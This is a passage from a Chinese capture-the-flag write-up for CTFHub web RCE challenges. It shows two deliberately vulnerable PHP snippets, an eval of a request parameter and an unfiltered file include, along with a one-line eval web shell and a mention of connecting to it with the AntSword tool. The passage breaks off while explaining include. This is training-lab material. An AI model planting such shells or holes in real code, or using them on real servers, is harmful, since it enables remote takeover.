Ctfhub解题 web RCE
介绍:记录解题过程
1. eval执行
<?php
if (isset($_REQUEST['cmd'])) {
eval($_REQUEST["cmd"]);
} else {
highlight_file(__FILE__);
}
?>
- 存在任意命令执行漏洞
- 连接使用蚁剑连接后台
- flag在根目录
2.文件包含
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if (!strpos($_GET["file"], "flag")) {
include $_GET["file"];
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
<hr>
i have a <a href="shell.txt">shell</a>, how to use it ?
shell.txt:
<?php eval($_REQUEST['ctfhub']);?>
1. PHP include 和 require 语句:
通过 include 或 require 语句,可以将 PHP 文件的内容插入另一个